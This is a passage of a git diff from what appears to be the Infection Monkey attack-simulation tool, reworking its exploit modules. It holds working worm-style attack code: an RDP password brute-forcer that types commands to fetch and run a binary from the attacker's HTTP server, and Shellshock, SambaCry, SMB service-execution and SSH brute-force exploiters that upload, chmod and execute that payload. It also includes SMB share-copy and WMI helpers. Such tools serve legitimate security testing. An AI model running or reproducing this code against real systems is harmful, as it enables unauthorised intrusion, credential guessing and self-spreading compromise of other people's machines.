self._last_update = update_time - self._wait_for_update = False - self._update_lock.release() - - def _keysSender(self): - LOG.debug("Starting to send keystrokes") - while True: - - if self.closed: - return - - if len(self._keys) == 0: - reactor.callFromThread(self._controller.close) - LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port) - return - - key = self._keys[0] - - self._update_lock.acquire() - time_diff = time.time() - self._last_update - if isinstance(key, WaitUpdateEvent): - self._wait_for_update = True - self._update_lock.release() - key.updates -= 1 - if key.updates == 0: - self._keys = self._keys[1:] - elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): - self._wait_for_update = False - self._update_lock.release() - if isinstance(key, ScanCodeEvent): - reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, - key.is_special) - elif isinstance(key, CharEvent): - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) - elif isinstance(key, SleepEvent): - time.sleep(key.interval) - - self._keys = self._keys[1:] - else: - self._update_lock.release() - time.sleep(KEYS_SENDER_SLEEP) - - def onReady(self): - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True) - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False) - time.sleep(1) - pass - - def onClose(self): - self.success = len(self._keys) == 0 - self.closed = True - - def onSessionReady(self): - LOG.debug("Logged in, session is ready for work") - self._last_update = time.time() - self._keys_thread.start() - - -class CMDClientFactory(rdp.ClientFactory): - def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359): - self._username = username - self._password = password - self._domain = domain - self._keyboard_layout = "en" - # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter - self._keys = [SleepEvent(1), - ScanCodeEvent(91, True, True), - ScanCodeEvent(19, True), - ScanCodeEvent(19, False), - ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] - self._optimized = optimized - self._security = rdp.SecurityLevel.RDP_LEVEL_NLA - self._nego = True - self._client = None - self._width = width - self._height = height - self.done_event = threading.Event() - self.success = False - - def buildObserver(self, controller, addr): - """ - @summary: Build RFB observer - We use a RDPClient as RDP observer - @param controller: build factory and needed by observer - @param addr: destination address - @return: RDPClientQt - """ - - # create client observer - self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr) - - controller.setUsername(self._username) - controller.setPassword(self._password) - controller.setDomain(self._domain) - controller.setKeyboardLayout(self._keyboard_layout) - controller.setHostname(addr.host) - if self._optimized: - controller.setPerformanceSession() - controller.setSecurityLevel(self._security) - - return self._client - - def clientConnectionLost(self, connector, reason): - # try reconnect with basic RDP security - if reason.type == RDPSecurityNegoFail and self._nego: - LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % - (connector.host, connector.port)) - # stop nego - self._nego = False - self._security = rdp.SecurityLevel.RDP_LEVEL_RDP - connector.connect() - return - - LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port)) - self.success = self._client.success - self.done_event.set() - - def clientConnectionFailed(self, connector, reason): - LOG.debug("RDP connection to %s:%s failed, with error: %s" % - (connector.host, connector.port, reason.getErrorMessage())) - self.success = False - self.done_event.set() - - -class RdpExploiter(HostExploiter): - - _TARGET_OS_TYPE = ['windows'] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'RDP' - - def __init__(self, host): - super(RdpExploiter, self).__init__(host) - - def is_os_supported(self): - if super(RdpExploiter, self).is_os_supported(): - return True - - if not self.host.os.get('type'): - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if is_open: - self.host.os['type'] = 'windows' - return True - return False - - def _exploit_host(self): - global g_reactor - - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if not is_open: - LOG.info("RDP port is closed on %r, skipping", self.host) - return False - - src_path = get_target_monkey(self.host) - - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - - if not http_path: - LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") - return False - - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) - - if self._config.rdp_use_vbs_download: - command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - else: - command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - - user_password_pairs = self._config.get_exploit_user_password_pairs() - - if not g_reactor.is_alive(): - g_reactor.daemon = True - g_reactor.start() - - exploited = False - for user, password in user_password_pairs: - try: - # run command using rdp. - LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", - self.host, user, password) - - LOG.info("RDP connected to %r", self.host) - - user = utf_to_ascii(user) - password = utf_to_ascii(password) - command = utf_to_ascii(command) - - client_factory = CMDClientFactory(user, password, "", command) - - reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) - - client_factory.done_event.wait() - - if client_factory.success: - if not self._config.rdp_use_vbs_download: - T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() - self.add_vuln_port(RDP_PORT) - exploited = True - self.report_login_attempt(True, user, password) - break - else: - # failed exploiting with this user/pass - self.report_login_attempt(False, user, password) - - except Exception as exc: - LOG.debug("Error logging into victim %r with user" - " %s and password '%s': (%s)", self.host, - user, password, exc) - continue - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - - if not exploited: - LOG.debug("Exploiter RdpGrinder failed, rdp failed.") - return False - elif http_thread.downloads == 0: - LOG.debug("Exploiter RdpGrinder failed, http download failed.") - return False - - LOG.info("Executed monkey '%s' on remote victim %r", - os.path.basename(src_path), self.host) - self.add_executed_cmd(command) - return True diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index b7c168f01..762cc14b5 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -19,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE -from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.pyinstaller_utils import get_binary_file_path +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem __author__ = 'itay.mizeretz' @@ -266,7 +269,10 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) - + T1105Telem(ScanStatus.USED, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) def trigger_module(self, smb_client, share): diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 0e05149e7..7276f0388 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -6,11 +6,13 @@ from random import choice import requests +from common.utils.attack_utils import ScanStatus from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools import build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'danielg' @@ -18,6 +20,7 @@ LOG = logging.getLogger(__name__) TIMEOUT = 2 TEST_COMMAND = '/bin/uname -a' DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder +LOCK_HELPER_FILE = '/tmp/monkey_shellshock' class ShellShockExploiter(HostExploiter): @@ -106,6 +109,10 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False + if not self._create_lock_file(exploit, url, header): + LOG.info("Another monkey is running shellshock exploit") + return True + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: @@ -122,6 +129,8 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() + self._remove_lock_file(exploit, url, header) + if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) @@ -131,6 +140,7 @@ class ShellShockExploiter(HostExploiter): chmod = '/bin/chmod +x %s' % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) + T1222Telem(ScanStatus.USED, chmod, self.host).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) @@ -179,6 +189,17 @@ class ShellShockExploiter(HostExploiter): LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) return False, + def _create_lock_file(self, exploit, url, header): + if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE): + return False + cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) + return True + + def _remove_lock_file(self, exploit, url, header): + cmd = exploit + 'rm %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) + @staticmethod def attack_page(url, header, attack): result = "" diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 4646d7dd2..ee84fa847 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from common.utils.attack_utils import ScanStatus, UsageEnum LOG = getLogger(__name__) @@ -66,8 +68,8 @@ class SmbExploiter(HostExploiter): self._config.smb_download_timeout) if remote_full_path is not None: - LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", - self.host, user, password, lm_hash, ntlm_hash) + LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : %s : %s)", + self.host, user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) @@ -79,8 +81,8 @@ class SmbExploiter(HostExploiter): except Exception as exc: LOG.debug("Exception when trying to copy file using SMB to %r with user:" - " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host, - user, password, lm_hash, ntlm_hash, exc) + " %s, password (SHA-512): '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host, + user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash, exc) continue if not exploited: @@ -129,11 +131,13 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, lpBinaryPathName=cmdline) service = resp['lpServiceHandle'] - try: scmr.hRStartServiceW(scmr_rpc, service) + status = ScanStatus.USED except: + status = ScanStatus.SCANNED pass + T1035Telem(status, UsageEnum.SMB).send() scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index ff979d6e7..ffd584d24 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,16 +1,20 @@ +import StringIO import logging import time import paramiko -import io import infection_monkey.monkeyfs as monkeyfs +from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'hoffer' @@ -41,7 +45,7 @@ class SSHExploiter(HostExploiter): for user, ssh_key_pair in user_ssh_key_pairs: # Creating file-like private key for paramiko - pkey = io.StringIO(ssh_key_pair['private_key']) + pkey = StringIO.StringIO(ssh_key_pair['private_key']) ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) try: pkey = paramiko.RSAKey.from_private_key(pkey) @@ -71,26 +75,26 @@ class SSHExploiter(HostExploiter): exploited = False - for user, curpass in user_password_pairs: + for user, current_password in user_password_pairs: try: ssh.connect(self.host.ip_addr, username=user, - password=curpass, + password=current_password, port=port, timeout=None) - LOG.debug("Successfully logged in %r using SSH (%s : %s)", - self.host, user, curpass) + LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", + self.host, user, self._config.hash_sensitive_data(current_password)) exploited = True self.add_vuln_port(port) - self.report_login_attempt(True, user, curpass) + self.report_login_attempt(True, user, current_password) break except Exception as exc: LOG.debug("Error logging into victim %r with user" - " %s and password '%s': (%s)", self.host, - user, curpass, exc) - self.report_login_attempt(False, user, curpass) + " %s and password (SHA-512) '%s': (%s)", self.host, + user, self._config.hash_sensitive_data(current_password), exc) + self.report_login_attempt(False, user, current_password) continue return exploited @@ -100,7 +104,7 @@ class SSHExploiter(HostExploiter): port = SSH_PORT # if ssh banner found on different port, use that port. - for servkey, servdata in list(self.host.services.items()): + for servkey, servdata in self.host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-', '')) @@ -109,7 +113,7 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", self.host) return False - #Check for possible ssh exploits + # Check for possible ssh exploits exploited = self.exploit_with_ssh_keys(port, ssh) if not exploited: exploited = self.exploit_with_login_creds(port, ssh) @@ -162,10 +166,18 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - + status = ScanStatus.USED + T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) + status = ScanStatus.SCANNED + + T1105Telem(status, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + src_path).send() + if status == ScanStatus.SCANNED: return False try: diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py deleted file mode 100644 index 152205d70..000000000 --- a/monkey/infection_monkey/exploit/tools.py +++ /dev/null @@ -1,536 +0,0 @@ -import logging -import ntpath -import os -import os.path -import pprint -import socket -import struct -import sys -import urllib.request, urllib.parse, urllib.error - -from impacket.dcerpc.v5 import transport, srvs -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError -from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dtypes import NULL -from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 -from impacket.smbconnection import SMBConnection, SMB_DIALECT - -import infection_monkey.config -import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.network.firewall import app as firewall -from infection_monkey.network.info import get_free_tcp_port, get_routes -from infection_monkey.transport import HTTPServer, LockedHTTPServer -from threading import Lock - - -class DceRpcException(Exception): - pass - - -__author__ = 'itamar' - -LOG = logging.getLogger(__name__) - - -class AccessDeniedException(Exception): - def __init__(self, host, username, password, domain): - super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % - (host, domain, username, password)) - - -class WmiTools(object): - class WmiConnection(object): - def __init__(self): - self._dcom = None - self._iWbemServices = None - - @property - def connected(self): - return self._dcom is not None - - def connect(self, host, username, password, domain=None, lmhash="", nthash=""): - if not domain: - domain = host.ip_addr - - dcom = DCOMConnection(host.ip_addr, - username=username, - password=password, - domain=domain, - lmhash=lmhash, - nthash=nthash, - oxidResolver=True) - - try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, - wmi.IID_IWbemLevel1Login) - except Exception as exc: - dcom.disconnect() - - if "rpc_s_access_denied" == exc.message: - raise AccessDeniedException(host, username, password, domain) - - raise - - iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - - try: - self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) - self._dcom = dcom - except: - dcom.disconnect() - - raise - finally: - iWbemLevel1Login.RemRelease() - - def close(self): - assert self.connected, "WmiConnection isn't connected" - - self._iWbemServices.RemRelease() - self._iWbemServices = None - - self._dcom.disconnect() - self._dcom = None - - @staticmethod - def dcom_wrap(func): - def _wrapper(*args, **kwarg): - try: - return func(*args, **kwarg) - finally: - WmiTools.dcom_cleanup() - - return _wrapper - - @staticmethod - def dcom_cleanup(): - for port_map in list(DCOMConnection.PORTMAPS.keys()): - del DCOMConnection.PORTMAPS[port_map] - for oid_set in list(DCOMConnection.OID_SET.keys()): - del DCOMConnection.OID_SET[port_map] - - DCOMConnection.OID_SET = {} - DCOMConnection.PORTMAPS = {} - if DCOMConnection.PINGTIMER: - DCOMConnection.PINGTIMER.cancel() - DCOMConnection.PINGTIMER.join() - DCOMConnection.PINGTIMER = None - - @staticmethod - def get_object(wmi_connection, object_name): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - return wmi_connection._iWbemServices.GetObject(object_name)[0] - - @staticmethod - def list_object(wmi_connection, object_name, fields=None, where=None): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - if fields: - fields_query = ",".join(fields) - else: - fields_query = "*" - - wql_query = "SELECT %s FROM %s" % (fields_query, object_name) - - if where: - wql_query += " WHERE %s" % (where,) - - LOG.debug("Execution WQL query: %r", wql_query) - - iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) - - query = [] - try: - while True: - try: - next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] - record = next_item.getProperties() - - if not fields: - fields = list(record.keys()) - - query_record = {} - for key in fields: - query_record[key] = record[key]['value'] - - query.append(query_record) - except DCERPCSessionError as exc: - if 1 == exc.error_code: - break - - raise - finally: - iEnumWbemClassObject.RemRelease() - - return query - - -class SmbTools(object): - @staticmethod - def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): - assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) - config = infection_monkey.config.WormConfiguration - src_file_size = monkeyfs.getsize(src_path) - - smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) - if not smb: - return None - - # skip guest users - if smb.isGuestSession() > 0: - LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s'," - " LM hash: %s, NTLM hash: %s", - host, username, password, lm_hash, ntlm_hash) - - try: - smb.logoff() - except: - pass - - return None - - try: - resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) - except Exception as exc: - LOG.debug("Error requesting server info from %r over SMB: %s", - host, exc) - return None - - info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], - 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], - 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), - 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), - 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), - 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} - - LOG.debug("Connected to %r using %s:\n%s", - host, dialect, pprint.pformat(info)) - - try: - resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) - except Exception as exc: - LOG.debug("Error enumerating server shares from %r over SMB: %s", - host, exc) - return None - - resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] - - high_priority_shares = () - low_priority_shares = () - file_name = ntpath.split(dst_path)[-1] - - for i in range(len(resp)): - share_name = resp[i]['shi2_netname'].strip("\0 ") - share_path = resp[i]['shi2_path'].strip("\0 ") - current_uses = resp[i]['shi2_current_uses'] - max_uses = resp[i]['shi2_max_uses'] - - if current_uses >= max_uses: - LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", - share_name, host) - continue - elif not share_path: - LOG.debug("Skipping share '%s' on victim %r because share path is invalid", - share_name, host) - continue - - share_info = {'share_name': share_name, - 'share_path': share_path} - - if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) - - low_priority_shares += ((ntpath.sep + file_name, share_info),) - - shares = high_priority_shares + low_priority_shares - - file_uploaded = False - for remote_path, share in shares: - share_name = share['share_name'] - share_path = share['share_path'] - - if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) - if not smb: - return None - - try: - tid = smb.connectTree(share_name) - except Exception as exc: - LOG.debug("Error connecting tree to share '%s' on victim %r: %s", - share_name, host, exc) - continue - - LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", - share_name, share_path, remote_path, host) - - remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) - - # check if file is found on destination - if config.skip_exploit_if_file_exist: - try: - file_info = smb.listPath(share_name, remote_path) - if file_info: - if src_file_size == file_info[0].get_filesize(): - LOG.debug("Remote monkey file is same as source, skipping copy") - return remote_full_path - - LOG.debug("Remote monkey file is found but different, moving along with attack") - except: - pass # file isn't found on remote victim, moving on - - try: - with monkeyfs.open(src_path, 'rb') as source_file: - # make sure of the timeout - smb.setTimeout(timeout) - smb.putFile(share_name, remote_path, source_file.read) - - file_uploaded = True - - LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, share_name, share_path, host) - - break - except Exception as exc: - LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", - share_name, host, exc) - continue - finally: - try: - smb.logoff() - except: - pass - - smb = None - - if not file_uploaded: - LOG.debug("Couldn't find a writable share for exploiting" - " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s", - host, username, password, lm_hash, ntlm_hash) - return None - - return remote_full_path - - @staticmethod - def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): - try: - smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) - except Exception as exc: - LOG.debug("SMB connection to %r on port 445 failed," - " trying port 139 (%s)", host, exc) - - try: - smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) - except Exception as exc: - LOG.debug("SMB connection to %r on port 139 failed as well (%s)", - host, exc) - return None, None - - dialect = {SMB_DIALECT: "SMBv1", - SMB2_DIALECT_002: "SMBv2.0", - SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") - - # we know this should work because the WMI connection worked - try: - smb.login(username, password, '', lm_hash, ntlm_hash) - except Exception as exc: - LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s", - host, username, password, lm_hash, ntlm_hash, exc) - return None, dialect - - smb.setTimeout(timeout) - return smb, dialect - - @staticmethod - def execute_rpc_call(smb, rpc_func, *args): - dce = SmbTools.get_dce_bind(smb) - rpc_method_wrapper = getattr(srvs, rpc_func, None) - if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) - - return rpc_method_wrapper(dce, *args) - - @staticmethod - def get_dce_bind(smb): - rpctransport = transport.SMBTransport(smb.getRemoteHost(), - smb.getRemoteHost(), - filename=r'\srvsvc', - smb_connection=smb) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return dce - - -class HTTPTools(object): - @staticmethod - def create_transfer(host, src_path, local_ip=None, local_port=None): - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - return None, None - - httpd = HTTPServer(local_ip, local_port, src_path) - httpd.daemon = True - httpd.start() - - return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd - - @staticmethod - def create_locked_transfer(host, src_path, local_ip=None, local_port=None): - """ - Create http server for file transfer with a lock - :param host: Variable with target's information - :param src_path: Monkey's path on current system - :param local_ip: IP where to host server - :param local_port: Port at which to host monkey's download - :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler - """ - # To avoid race conditions we pass a locked lock to http servers thread - lock = Lock() - lock.acquire() - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") - return None, None - - httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) - httpd.start() - lock.acquire() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd - - -def get_interface_to_target(dst): - if sys.platform == "win32": - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - try: - s.connect((dst, 1)) - ip_to_dst = s.getsockname()[0] - except KeyError: - ip_to_dst = '127.0.0.1' - finally: - s.close() - return ip_to_dst - else: - # based on scapy implementation - - def atol(x): - ip = socket.inet_aton(x) - return struct.unpack("!I", ip)[0] - - routes = get_routes() - dst = atol(dst) - paths = [] - for d, m, gw, i, a in routes: - aa = atol(a) - if aa == dst: - paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) - if (dst & m) == (d & m): - paths.append((m, (i, a, gw))) - if not paths: - return None - paths.sort() - ret = paths[-1][1] - return ret[1] - - -def get_target_monkey(host): - from infection_monkey.control import ControlClient - import platform - import sys - - if host.monkey_exe: - return host.monkey_exe - - if not host.os.get('type'): - return None - - monkey_path = ControlClient.download_monkey_exe(host) - - if host.os.get('machine') and monkey_path: - host.monkey_exe = monkey_path - - if not monkey_path: - if host.os.get('type') == platform.system().lower(): - # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe - if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ - host.os.get('machine', '').lower() == platform.machine().lower(): - monkey_path = sys.executable - - return monkey_path - - -def get_target_monkey_by_os(is_windows, is_32bit): - from infection_monkey.control import ControlClient - return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) - - -def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): - cmdline = "" - - if parent is not None: - cmdline += " -p " + parent - if tunnel is not None: - cmdline += " -t " + tunnel - if server is not None: - cmdline += " -s " + server - if depth is not None: - if depth < 0: - depth = 0 - cmdline += " -d %d" % depth - if location is not None: - cmdline += " -l %s" % location - - return cmdline - - -def build_monkey_commandline(target_host, depth, location=None): - from infection_monkey.config import GUID - return build_monkey_commandline_explicitly( - GUID, target_host.default_tunnel, target_host.default_server, depth, location) - - -def get_monkey_depth(): - from infection_monkey.config import WormConfiguration - return WormConfiguration.depth - - -def get_monkey_dest_path(url_to_monkey): - """ - Gets destination path from monkey's source url. - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from configuration - """ - from 